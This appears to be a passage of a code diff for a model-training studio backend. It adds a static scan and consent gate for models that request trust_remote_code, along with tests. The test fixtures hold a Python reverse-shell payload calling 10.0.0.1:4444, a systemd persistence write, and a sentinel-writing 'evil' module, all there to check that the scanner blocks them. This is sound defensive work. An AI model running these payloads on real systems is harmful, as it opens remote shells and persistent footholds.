- requires_trust_remote_code = bool(
- load_inference_config(config.identifier).get("trust_remote_code", False)
- ),
+ requires_trust_remote_code = requires_trust_remote_code,
+ requires_security_review = requires_security_review,
context_length = context_length,
)
@@ -2898,9 +3012,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
loading = [],
loaded = [_display_model_id] if _display_model_id else [],
inference = _inference_cfg,
- requires_trust_remote_code = bool(
- (_inference_cfg or {}).get("trust_remote_code", False)
- ),
+ # GGUF status: auto_map never executes, so inert (matches validate_model).
+ requires_trust_remote_code = False,
supports_reasoning = llama_backend.supports_reasoning,
reasoning_style = llama_backend.reasoning_style,
reasoning_always_on = llama_backend.reasoning_always_on,
@@ -2958,8 +3071,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
loading = list(getattr(backend, "loading_models", set())),
loaded = list(backend.models.keys()),
inference = inference_config,
- requires_trust_remote_code = bool(
- (inference_config or {}).get("trust_remote_code", False)
+ requires_trust_remote_code = _resolve_loaded_trust_remote_code(
+ backend.active_model_name, model_info, inference_config
),
supports_reasoning = _sf_flags["supports_reasoning"],
reasoning_style = _sf_flags["reasoning_style"],
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index c05522e64a..8eec7777c4 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1532,16 +1532,22 @@ async def get_model_config(
except Exception:
pass
- # Fallback: try AutoConfig directly.
+ # Fallback: read raw config.json (declarative fields only) -- a selection-time
+ # metadata probe that must never execute a repo's auto_map Python.
if max_position_embeddings is None:
try:
- from transformers import AutoConfig as _AutoConfig
+ from utils.transformers_version import _load_config_json
+ from types import SimpleNamespace
- _trust = model_name.lower().startswith("unsloth/")
- _ac = _AutoConfig.from_pretrained(
- model_name, trust_remote_code = _trust, token = hf_token
- )
- max_position_embeddings = _get_max_position_embeddings(_ac)
+ _cfg = _load_config_json(model_name, hf_token = hf_token)
+ if _cfg is not None:
+
+ def _to_ns(d):
+ if isinstance(d, dict):
+ return SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()})
+ return d
+
+ max_position_embeddings = _get_max_position_embeddings(_to_ns(_cfg))
except Exception:
pass
@@ -1574,6 +1580,195 @@ async def get_model_config(
)
+@router.post("/remote-code-scan")
+async def scan_model_remote_code(
+ model_name: str = Body(..., embed = True),
+ hf_token: Optional[str] = Body(None, embed = True),
+ current_subject: str = Depends(get_current_subject),
+):
+ """Scan a model's ``auto_map`` custom code so the UI can show findings before
+ the user enables ``trust_remote_code``. Code-free: reads ``config.json`` and
+ statically scans the repo ``.py`` (never loads the model). Returns
+ ``has_remote_code`` plus the severity-tagged findings + a pinning fingerprint.
+
+ POST (not GET) so the ``hf_token`` for gated repos travels in the body and
+ never lands in a URL, browser history, or access log.
+ """
+ try:
+ from utils.security import preflight_remote_code_consent_for_targets
+
+ if not is_local_path(model_name):
+ model_name = resolve_cached_repo_id_case(model_name)
+ # Scan the adapter AND the base together (a LoRA runs both repos' code; a pickle
+ # can live in either), pinned by one combined fingerprint. Snapshot the primary's
+ # cache state BEFORE resolving the base: for a remote adapter that resolve
+ # downloads adapter_config.json, which would otherwise hide the adapter from
+ # cleanup on decline. On error treat as pre-existing so a decline never deletes it.
+ try:
+ _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache(model_name)
+ except Exception:
+ _primary_preexisting = True
+ security_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so its code/weights are scanned too.
+ _base = get_base_model_from_lora_identifier(model_name, hf_token)
+ if _base:
+ security_targets.append(_base)
+ except Exception:
+ pass
+ security_targets = list(dict.fromkeys(security_targets))
+ # Record every repo OUR scan is first to pull into the cache (adapter, base, and
+ # external auto_map repos like owner/name--module.Class), so a decline purges
+ # exactly what was downloaded. Computed BEFORE the preflight downloads, against
+ # every cache the discard searches, so a repo the user already had is not deleted.
+ from utils.security.remote_code_scan import external_auto_map_repos
+
+ scan_created_repos: list = []
+ _seen_created: set = set()
+
+ def _mark_scan_created(repo: str, *, preexisting: Optional[bool] = None) -> None:
+ if not repo or repo in _seen_created:
+ return
+ _seen_created.add(repo)
+ try:
+ already = (
+ preexisting
+ if preexisting is not None
+ else (is_local_path(repo) or _repo_in_any_hf_cache(repo))
+ )
+ if not already:
+ scan_created_repos.append(repo)
+ except Exception:
+ pass
+
+ for _target in security_targets:
+ # Use the pre-base-resolution snapshot for the primary (see above).
+ _mark_scan_created(
+ _target, preexisting = _primary_preexisting if _target == model_name else None
+ )
+ for _ext in external_auto_map_repos(_target, hf_token):
+ _mark_scan_created(_ext)
+ decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token)
+ payload = decision.response_payload()
+ payload["requires_trust_remote_code"] = decision.has_remote_code
+ # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup.
+ payload["created_by_scan"] = model_name in scan_created_repos
+ payload["scan_created_repos"] = scan_created_repos
+
+ # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can
+ # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map.
+ from utils.security import evaluate_file_security, security_load_subdirs
+
+ unsafe_files: list = []
+ security_blocked = False
+ for _target in security_targets:
+ _sec = evaluate_file_security(
+ _target, hf_token = hf_token, load_subdirs = security_load_subdirs(_target, hf_token)
+ )
+ security_blocked = security_blocked or _sec.blocked
+ unsafe_files.extend(_sec.unsafe_files)
+ payload["unsafe_files"] = unsafe_files
+ payload["security_blocked"] = security_blocked
+ if security_blocked:
+ # Non-approvable hard block: approvable False hides "Enable and continue", and
+ # requires_trust_remote_code forces the dialog open even with no custom code.
+ payload["approvable"] = False
+ payload["requires_trust_remote_code"] = True
+ payload["error_kind"] = "malware_blocked"
+ return payload
+ except Exception as e:
+ raise log_and_http_error(
+ e,
+ 500,
+ "Failed to scan model remote code",
+ event = "models.remote_code_scan_failed",
+ log = logger,
+ )
+
+
+@router.post("/discard-remote-code")
+async def discard_remote_code_download(
+ model_name: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject)
+):
+ """Purge a repo the consent scan downloaded after the user DECLINED its custom
+ code, so untrusted code is not left on disk.
+
+ Safety: only ever deletes a metadata-only cache entry the scan created. It
+ refuses a local path (never touches user files), a currently-loaded model, and
+ any repo that has weight files cached (``*.safetensors`` / ``*.bin`` /
+ ``*.gguf``) -- i.e. a model the user actually downloaded. The frontend only
+ calls this when the scan reported ``created_by_scan``.
+ """
+ if is_local_path(model_name):
+ return {"deleted": False, "reason": "local"}
+ if not _is_valid_repo_id(model_name):
+ return {"deleted": False, "reason": "invalid"}
+
+ # Never delete a model that is loaded for inference.
+ try:
+ from routes.inference import get_llama_cpp_backend
+ llama_backend = get_llama_cpp_backend()
+ if llama_backend.is_loaded and llama_backend.model_identifier:
+ loaded = llama_backend.model_identifier.lower()
+ if loaded == model_name.lower() or loaded.startswith(model_name.lower()):
+ return {"deleted": False, "reason": "loaded"}
+ except Exception:
+ pass
+ try:
+ inference_backend = get_inference_backend()
+ if inference_backend.active_model_name:
+ active = inference_backend.active_model_name.lower()
+ if active == model_name.lower() or active.startswith(model_name.lower()):
+ return {"deleted": False, "reason": "loaded"}
+ except Exception:
+ pass
+
+ _WEIGHTS = (
+ ".safetensors",
+ ".bin",
+ ".pt",
+ ".pth",
+ ".h5",
+ ".msgpack",
+ ".gguf",
+ ".onnx",
+ ".ckpt",
+ )
+ try:
+ target_repo = None
+ hf_cache = None
+ for cache in _all_hf_cache_scans():
+ for repo_info in cache.repos:
+ if repo_info.repo_type != "model":
+ continue
+ if repo_info.repo_id.lower() == model_name.lower():
+ target_repo, hf_cache = repo_info, cache
+ break
+ if target_repo is not None:
+ break
+
+ if target_repo is None:
+ return {"deleted": False, "reason": "not_cached"}
+
+ # Hard guard: a repo with weights is a real model the user has -- leave it.
+ for rev in target_repo.revisions:
+ for f in rev.files:
+ if f.file_name.lower().endswith(_WEIGHTS):
+ return {"deleted": False, "reason": "has_weights"}
+
+ revision_hashes = [rev.commit_hash for rev in target_repo.revisions]
+ if not revision_hashes:
+ return {"deleted": False, "reason": "not_cached"}
+ hf_cache.delete_revisions(*revision_hashes).execute()
+ logger.info("Discarded declined remote-code download: %s", model_name)
+ return {"deleted": True}
+ except Exception as e:
+ logger.warning("Could not discard remote-code download for %s: %s", model_name, e)
+ return {"deleted": False, "reason": "error"}
+
+
@router.get("/loras")
async def scan_loras(
outputs_dir: str = Query(
@@ -1990,7 +2185,11 @@ async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get
@router.get("/check-vision/{model_name:path}", response_model = VisionCheckResponse)
-async def check_vision_model(model_name: str, current_subject: str = Depends(get_current_subject)):
+async def check_vision_model(
+ model_name: str,
+ hf_token: Optional[str] = Query(None),
+ current_subject: str = Depends(get_current_subject),
+):
"""
Check if a model is a vision model.
@@ -1998,7 +2197,8 @@ async def check_vision_model(model_name: str, current_subject: str = Depends(get
"""
try:
logger.info(f"Checking if vision model: {model_name}")
- is_vision = is_vision_model(model_name)
+ # Authenticate so a gated/private VLM classifies correctly (else 404 -> non-vision).
+ is_vision = is_vision_model(model_name, hf_token = hf_token)
logger.info(f"Vision check result for {model_name}: is_vision={is_vision}")
return VisionCheckResponse(
@@ -2348,6 +2548,51 @@ def _get_repo_size_cached(repo_id: str) -> int:
return 0
+def _repo_in_any_hf_cache(model_name: str) -> bool:
+ """Whether ``model_name`` already exists in ANY HF cache the discard searches
+ (active, legacy, default).
+
+ ``created_by_scan`` must be True only when the scan itself first pulled the repo;
+ checking just the active cache (``get_cache_path``) would mark a repo the user
+ already had in a legacy/default cache as scan-created, so declining the consent
+ would delete a model they did not download via the scan. Mirrors the cache set in
+ ``_all_hf_cache_scans`` but only probes for the one repo dir (cheap, no full scan).
+ """
+ from utils.paths import (
+ hf_default_cache_dir,
+ legacy_hf_cache_dir,
+ resolve_cached_repo_id_case,
+ )
+
+ dirname = f"models--{resolve_cached_repo_id_case(model_name).replace('/', '--')}"
+ dirname_lower = dirname.lower()
+ candidates = []
+ try:
+ from huggingface_hub.constants import HF_HUB_CACHE
+ candidates.append(Path(HF_HUB_CACHE))
+ except Exception:
+ pass
+ for fn in (legacy_hf_cache_dir, hf_default_cache_dir):
+ try:
+ candidates.append(fn())
+ except Exception:
+ continue
+ # resolve_cached_repo_id_case only normalizes the ACTIVE cache, but discard deletes
+ # case-insensitively across all caches, so detect case-insensitively too -- else a
+ # pre-existing case-variant repo is misreported as scan-created and deleted on decline.
+ for cache in candidates:
+ try:
+ if (cache / dirname).exists():
+ return True
+ if cache.is_dir():
+ for entry in cache.iterdir():
+ if entry.name.lower() == dirname_lower and entry.is_dir():
+ return True
+ except Exception:
+ continue
+ return False
+
+
def _all_hf_cache_scans():
"""scan_cache_dir for the active, legacy, and default HF caches.
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 09a3e06c91..5860b395d5 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -248,18 +248,30 @@ async def start_training(
"output_dir": resume_output_dir,
"resume_from_checkpoint": request.resume_from_checkpoint,
"trust_remote_code": request.trust_remote_code,
+ "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint,
"gpu_ids": request.gpu_ids,
"s3_config": request.s3_config.model_dump() if request.s3_config else None,
}
- # Training page has no trust_remote_code toggle; as a safety net consult
- # YAML model defaults directly so models that need it always get it.
+ # Training page has no trust_remote_code toggle, so honor the YAML default
+ # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a
+ # local path or a name merely starting with "unsloth/".
if not training_kwargs["trust_remote_code"]:
+ from utils.security.trusted_org import is_trusted_org_repo
+
model_defaults = load_model_defaults(request.model_name)
yaml_trust = model_defaults.get("training", {}).get("trust_remote_code", False)
- if yaml_trust:
+ if yaml_trust and is_trusted_org_repo(
+ request.model_name, hf_token = request.hf_token or None
+ ):
logger.info(f"YAML config sets trust_remote_code=True for {request.model_name}")
training_kwargs["trust_remote_code"] = True
+ elif yaml_trust:
+ logger.warning(
+ "YAML sets trust_remote_code=True for %s but it is not a trusted "
+ "first-party repo; leaving disabled (user can opt in explicitly).",
+ request.model_name,
+ )
# Free GPU memory: shut down any running inference/export subprocesses
# before training (they'd compete for VRAM otherwise).
diff --git a/studio/backend/tests/test_capability_detection.py b/studio/backend/tests/test_capability_detection.py
new file mode 100644
index 0000000000..c8e1b63468
--- /dev/null
+++ b/studio/backend/tests/test_capability_detection.py
@@ -0,0 +1,361 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Component A tests: capability detection must never execute model repo code.
+
+Covers: load_model_config defaults trust_remote_code False; the _VISION_CHECK_SCRIPT
+subprocess literal keeps remote code off; registry-backed vision/audio detection from
+raw config.json (repo-code VLMs detected without execution; ForConditionalGeneration
+false positives fixed); and the model-details / GPU probes never enable remote code.
+"""
+
+import json
+from types import SimpleNamespace
+from unittest.mock import patch, MagicMock
+
+import pytest
+
+from utils.models.model_config import (
+ load_model_config,
+ is_vision_model,
+ _is_vlm,
+ _raw_config_has_vision_config,
+ _vision_detection_cache,
+ _VISION_CHECK_SCRIPT,
+ _VLM_MODEL_TYPES,
+ _AUDIO_ONLY_MODEL_TYPES,
+ _VLM_CLASS_NAMES,
+)
+
+
+@pytest.fixture(autouse = True)
+def _clear_vision_cache():
+ _vision_detection_cache.clear()
+ yield
+ _vision_detection_cache.clear()
+
+
+def _write_model_dir(
+ tmp_path,
+ cfg,
+ with_evil_module = False,
+):
+ """Write a local model dir, optionally with an auto_map module that writes a sentinel
+ on import so accidental code execution during detection shows up on disk."""
+ (tmp_path / "config.json").write_text(json.dumps(cfg))
+ if with_evil_module:
+ sentinel = tmp_path / "PWNED_SENTINEL"
+ (tmp_path / "modeling_evil.py").write_text(
+ "import os\n"
+ f"open({str(sentinel)!r}, 'w').write('pwned')\n"
+ "class EvilConfig: pass\n"
+ "class EvilModel: pass\n"
+ )
+ return str(tmp_path)
+
+
+# load_model_config default
+class TestLoadModelConfigDefault:
+ @patch("transformers.AutoConfig.from_pretrained")
+ def test_default_off_with_token(self, fp):
+ load_model_config("org/m", token = "hf_x")
+ assert fp.call_args.kwargs["trust_remote_code"] is False
+
+ @patch("utils.models.model_config.without_hf_auth")
+ @patch("transformers.AutoConfig.from_pretrained")
+ def test_default_off_public(self, fp, no_auth):
+ from contextlib import nullcontext
+
+ no_auth.return_value = nullcontext()
+ load_model_config("org/m", use_auth = False)
+ assert fp.call_args.kwargs["trust_remote_code"] is False
+
+ @patch("transformers.AutoConfig.from_pretrained")
+ def test_default_off_cached_auth(self, fp):
+ load_model_config("org/m", use_auth = True)
+ assert fp.call_args.kwargs["trust_remote_code"] is False
+
+ @patch("transformers.AutoConfig.from_pretrained")
+ def test_explicit_true_forwarded(self, fp):
+ load_model_config("org/m", token = "t", trust_remote_code = True)
+ assert fp.call_args.kwargs["trust_remote_code"] is True
+
+
+# subprocess script literal
+def test_vision_check_script_disables_remote_code():
+ assert '"trust_remote_code": False' in _VISION_CHECK_SCRIPT
+ assert '"trust_remote_code": True' not in _VISION_CHECK_SCRIPT
+
+
+# _is_vlm matrix (pure function, registry-backed)
+def _cfg(**kw):
+ return SimpleNamespace(**kw)
+
+
+class TestIsVlm:
+ def test_deepseek_ocr_vision_via_vision_config(self):
+ # auto_map repo-code model; vision-ness is declarative.
+ c = _cfg(
+ model_type = "deepseek_vl_v2",
+ architectures = ["DeepseekOCRForCausalLM"],
+ vision_config = {},
+ projector_config = {},
+ )
+ assert _is_vlm(c) is True
+
+ def test_kimi_vision_via_vision_config(self):
+ c = _cfg(
+ model_type = "kimi_k25",
+ architectures = ["KimiK25ForConditionalGeneration"],
+ vision_config = {},
+ )
+ assert _is_vlm(c) is True
+
+ def test_glm_flash_text_is_not_vision(self):
+ c = _cfg(model_type = "glm4_moe_lite", architectures = ["Glm4MoeLiteForCausalLM"])
+ assert _is_vlm(c) is False
+
+ def test_gemma4_vision_via_vision_config(self):
+ c = _cfg(
+ model_type = "gemma4_unified",
+ architectures = ["Gemma4UnifiedForConditionalGeneration"],
+ vision_config = {},
+ image_token_id = 1,
+ )
+ assert _is_vlm(c) is True
+
+ def test_t5_not_misclassified_as_vision(self):
+ # Regression: ForConditionalGeneration must NOT be a vision signal.
+ c = _cfg(model_type = "t5", architectures = ["T5ForConditionalGeneration"])
+ assert _is_vlm(c) is False
+
+ def test_bart_not_misclassified_as_vision(self):
+ c = _cfg(model_type = "bart", architectures = ["BartForConditionalGeneration"])
+ assert _is_vlm(c) is False
+
+ def test_whisper_audio_not_vision(self):
+ c = _cfg(model_type = "whisper", architectures = ["WhisperForConditionalGeneration"])
+ assert _is_vlm(c) is False
+
+ def test_csm_audio_not_vision(self):
+ c = _cfg(model_type = "csm", architectures = ["CsmForConditionalGeneration"])
+ assert _is_vlm(c) is False
+
+ def test_native_vlm_via_registry_model_type(self):
+ # llava is in the transformers vision registry.
+ assert "llava" in _VLM_MODEL_TYPES
+ c = _cfg(model_type = "llava", architectures = ["LlavaForConditionalGeneration"])
+ assert _is_vlm(c) is True
+
+ def test_native_vlm_via_registry_class_name(self):
+ # Class-name match works even if model_type were unknown.
+ cls = next(iter(_VLM_CLASS_NAMES))
+ c = _cfg(model_type = "something_unlisted", architectures = [cls])
+ assert _is_vlm(c) is True
+
+ def test_omni_audio_plus_vision_is_vision(self):
+ # An audio-registry model_type with an explicit vision sub-config is still vision.
+ audio_mt = next(iter(_AUDIO_ONLY_MODEL_TYPES - _VLM_MODEL_TYPES))
+ c = _cfg(model_type = audio_mt, architectures = ["X"], vision_config = {})
+ assert _is_vlm(c) is True
+
+
+# _raw_config_has_vision_config (code-free reader, mocked HF download)
+def _mock_raw_config(tmp_path, payload):
+ p = tmp_path / "config.json"
+ p.write_text(json.dumps(payload))
+ return p
+
+
+class TestRawConfigVisionReader:
+ @pytest.mark.parametrize(
+ "payload,expected",
+ [
+ (
+ {
+ "model_type": "deepseek_vl_v2",
+ "architectures": ["DeepseekOCRForCausalLM"],
+ "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"},
+ "vision_config": {},
+ "projector_config": {},
+ },
+ True,
+ ),
+ (
+ {
+ "model_type": "kimi_k25",
+ "architectures": ["KimiK25ForConditionalGeneration"],
+ "auto_map": {"AutoConfig": "configuration_kimi_k25.KimiK25Config"},
+ "vision_config": {},
+ },
+ True,
+ ),
+ ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False),
+ (
+ {
+ "model_type": "gemma4_unified",
+ "architectures": ["Gemma4UnifiedForConditionalGeneration"],
+ "vision_config": {},
+ },
+ True,
+ ),
+ ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False),
+ (
+ {"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]},
+ False,
+ ),
+ ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False),
+ ],
+ )
+ def test_reader(self, tmp_path, payload, expected):
+ cfg_path = _mock_raw_config(tmp_path, payload)
+ with (
+ patch("utils.models.model_config.is_local_path", return_value = False),
+ patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)),
+ ):
+ assert _raw_config_has_vision_config("org/model") is expected
+
+ def test_reader_never_executes_remote_code(self, tmp_path):
+ # Even with auto_map present, the reader only parses JSON: no AutoConfig touched.
+ cfg_path = _mock_raw_config(
+ tmp_path,
+ {
+ "model_type": "deepseek_vl_v2",
+ "architectures": ["DeepseekOCRForCausalLM"],
+ "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"},
+ "vision_config": {},
+ },
+ )
+ with (
+ patch("utils.models.model_config.is_local_path", return_value = False),
+ patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)),
+ patch(
+ "transformers.AutoConfig.from_pretrained",
+ side_effect = AssertionError("AutoConfig must not be called"),
+ ),
+ ):
+ assert _raw_config_has_vision_config("org/deepseek-ocr") is True
+
+
+# Probes: model-details + GPU estimate never execute remote code
+def test_gpu_estimate_probe_is_code_free():
+ from utils.hardware import hardware
+
+ cfg = {
+ "model_type": "glm4_moe_lite",
+ "hidden_size": 4096,
+ "num_hidden_layers": 40,
+ "max_position_embeddings": 8192,
+ }
+ with (
+ patch("utils.transformers_version._load_config_json", return_value = cfg),
+ patch(
+ "transformers.AutoConfig.from_pretrained",
+ side_effect = AssertionError("AutoConfig must not be called"),
+ ),
+ ):
+ out = hardware._load_config_for_gpu_estimate("unsloth/GLM-4.7-Flash")
+ assert out.max_position_embeddings == 8192
+ assert out.hidden_size == 4096
+
+
+def test_models_route_source_has_no_remote_code_probe():
+ # The metadata probe must never build a trust_remote_code=True loader; referencing
+ # the static consent scanner or the requires_trust_remote_code flag is fine.
+ import inspect
+ import routes.models as models_route
+
+ src = inspect.getsource(models_route)
+ assert "trust_remote_code = True" not in src
+ assert "trust_remote_code=True" not in src
+
+
+# Adversarial end-to-end: is_vision_model + the two metadata probes never run auto_map.
+def test_no_code_execution_on_detection(tmp_path):
+ # A malicious local auto_map -> modeling_evil must not execute through any probe.
+ cfg = {
+ "model_type": "deepseek_vl_v2",
+ "architectures": ["DeepseekOCRForCausalLM"],
+ "auto_map": {
+ "AutoConfig": "modeling_evil.EvilConfig",
+ "AutoModel": "modeling_evil.EvilModel",
+ },
+ "vision_config": {"image_size": 1024},
+ "max_position_embeddings": 4096,
+ }
+ path = _write_model_dir(tmp_path, cfg, with_evil_module = True)
+ sentinel = tmp_path / "PWNED_SENTINEL"
+
+ from utils.hardware.hardware import _load_config_for_gpu_estimate
+ from utils.transformers_version import _load_config_json
+
+ result = is_vision_model(path)
+ ns = _load_config_for_gpu_estimate(path)
+ raw = _load_config_json(path)
+
+ assert not sentinel.exists(), "SECURITY FAILURE: auto_map code executed during detection"
+ assert result is True # detected as vision via raw vision_config, no exec
+ assert ns is not None and getattr(ns, "max_position_embeddings", None) == 4096
+ assert raw is not None and raw.get("model_type") == "deepseek_vl_v2"
+
+
+@pytest.mark.parametrize(
+ "cfg, expected",
+ [
+ # repo-code VLMs (auto_map) detected via declarative vision_config
+ (
+ {
+ "model_type": "deepseek_vl_v2",
+ "architectures": ["DeepseekOCRForCausalLM"],
+ "auto_map": {"AutoConfig": "x.Y"},
+ "vision_config": {},
+ },
+ True,
+ ),
+ (
+ {
+ "model_type": "kimi_k25",
+ "architectures": ["KimiK25ForConditionalGeneration"],
+ "auto_map": {"AutoConfig": "x.Y"},
+ "vision_config": {},
+ },
+ True,
+ ),
+ # newer-native vision via vision_config
+ (
+ {
+ "model_type": "gemma4_unified",
+ "architectures": ["Gemma4UnifiedForConditionalGeneration"],
+ "vision_config": {},
+ "image_token_id": 7,
+ },
+ True,
+ ),
+ # text / seq2seq / audio that share the ForConditionalGeneration suffix
+ ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False),
+ ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False),
+ ({"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, False),
+ ({"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, False),
+ ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False),
+ # registry-native VLMs via model_type
+ ({"model_type": "qwen2_vl", "architectures": ["Qwen2VLForConditionalGeneration"]}, True),
+ ({"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, True),
+ ],
+)
+def test_is_vision_model_end_to_end(tmp_path, cfg, expected):
+ path = _write_model_dir(tmp_path, cfg)
+ assert is_vision_model(path) is expected, f"{cfg['model_type']} expected vision={expected}"
+
+
+def test_registry_derivation():
+ # Registry-derived sets are large and include the curated repo-code VLMs.
+ assert len(_VLM_MODEL_TYPES) >= 50, f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}"
+ assert (
+ len(_AUDIO_ONLY_MODEL_TYPES) >= 20
+ ), f"_AUDIO_ONLY too small: {len(_AUDIO_ONLY_MODEL_TYPES)}"
+ for repo_vlm in ("deepseek_vl_v2", "kimi_k25", "phi3_v", "cogvlm2", "minicpmv"):
+ assert repo_vlm in _VLM_MODEL_TYPES, f"curated repo-code VLM {repo_vlm} missing"
+ for native in ("llava", "qwen2_vl"):
+ assert native in _VLM_MODEL_TYPES, f"registry-native VLM {native} missing"
+ for audio in ("whisper", "csm"):
+ assert audio in _AUDIO_ONLY_MODEL_TYPES, f"audio type {audio} missing"
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
new file mode 100644
index 0000000000..67b44ede89
--- /dev/null
+++ b/studio/backend/tests/test_consent_gate.py
@@ -0,0 +1,1414 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the trust_remote_code consent gate.
+
+The gate scans a repo's auto_map Python before a trust_remote_code=True load and
+refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner
+and fingerprint run for real; only the config/file fetch is stubbed.
+"""
+
+import os
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+import utils.security.consent as consent
+from utils.security import (
+ RemoteCodeDecision,
+ evaluate_remote_code_consent,
+ evaluate_remote_code_consent_for_targets,
+ is_trusted_org_repo,
+ remote_code_fingerprint,
+ scan_remote_code_files,
+ should_block_remote_code,
+)
+from huggingface_hub.utils import EntryNotFoundError
+
+from utils.security.remote_code_scan import (
+ CRITICAL,
+ HIGH,
+ REMOTE_CODE_CONFIG_FILES,
+ RemoteCodeUnscannable,
+ repo_remote_code_files,
+)
+from utils.security.trusted_org import clear_cache
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+@pytest.fixture(autouse = True)
+def _clean_trusted_org_cache(monkeypatch):
+ """Clear the trusted-org cache and force online mode for the Hub-verify path."""
+ clear_cache()
+ monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+ monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+ yield
+ clear_cache()
+
+
+# HIGH severity (persistence install): approvable, blocks untrusted repos.
+_HIGH = {
+ "modeling_persist.py": (
+ "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
+ )
+}
+# CRITICAL severity (reverse shell) - blocks even a first-party repo.
+_CRITICAL = {
+ "modeling_backdoor.py": (
+ "import socket, subprocess, os\n"
+ "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
+ "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
+ )
+}
+_BENIGN = {
+ "modeling_ok.py": (
+ "import torch\n"
+ "class MyModel(torch.nn.Module):\n"
+ " def forward(self, x):\n"
+ " return x + 1\n"
+ )
+}
+
+
+def _with_auto_map(files):
+ """Patch the gate so auto_map is present and the given files are returned."""
+ return (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(consent, "repo_remote_code_files", return_value = files),
+ )
+
+
+class TestConsentGate:
+ def test_disabled_is_a_noop(self):
+ d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
+ assert isinstance(d, RemoteCodeDecision)
+ assert d.has_remote_code is False and d.blocked is False
+
+ def test_no_auto_map_is_noop(self):
+ with patch.object(consent, "_config_has_auto_map", return_value = False):
+ d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
+ assert d.has_remote_code is False
+ assert d.blocked is False
+ assert "no-op" in d.reason
+
+ def test_unknown_auto_map_is_scanned_not_skipped(self):
+ # Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op.
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = None),
+ patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
+ ):
+ d = evaluate_remote_code_consent(
+ "private/evil", trust_remote_code = True, trusted_org = False
+ )
+ assert d.has_remote_code is True
+ assert d.blocked is True
+ assert "no-op" not in d.reason
+
+ def test_benign_remote_code_allowed(self):
+ a, b = _with_auto_map(_BENIGN)
+ with a, b:
+ d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
+ assert d.has_remote_code is True
+ assert d.blocked is False
+ assert d.fingerprint # still fingerprinted for pinning
+
+ def test_high_third_party_blocked(self):
+ # HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL).
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d = evaluate_remote_code_consent(
+ "evil/Model", trust_remote_code = True, trusted_org = False
+ )
+ assert d.has_remote_code is True
+ assert d.blocked is True
+ assert d.approvable is True
+ assert d.max_severity == "HIGH"
+ assert d.fingerprint
+ # response payload is frontend-ready, with STRUCTURED findings.
+ p = d.response_payload()
+ assert p["error_kind"] == "remote_code_consent_required"
+ assert p["approvable"] is True
+ assert p["fingerprint"] == d.fingerprint
+ assert isinstance(p["findings"], list) and p["findings"]
+ f0 = p["findings"][0]
+ assert {"severity", "file", "check"} <= set(f0)
+
+ def test_high_first_party_requires_approval(self):
+ # First-party is no longer a blanket bypass: HIGH code from a first-party repo
+ # requires per-version approval like any other (approvable, unlike CRITICAL).
+ # Real first-party models scan clean; this uses a synthetic HIGH payload.
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d = evaluate_remote_code_consent(
+ "unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
+ )
+ assert d.has_remote_code is True
+ assert d.blocked is True
+ assert d.approvable is True
+ assert d.max_severity == "HIGH"
+ assert d.fingerprint
+ assert "approval required" in d.reason
+
+ def test_bare_subprocess_blocked_third_party(self):
+ # A bare subprocess.Popen in a config __init__: model code must never shell out, so block.
+ files = {
+ "configuration.py": (
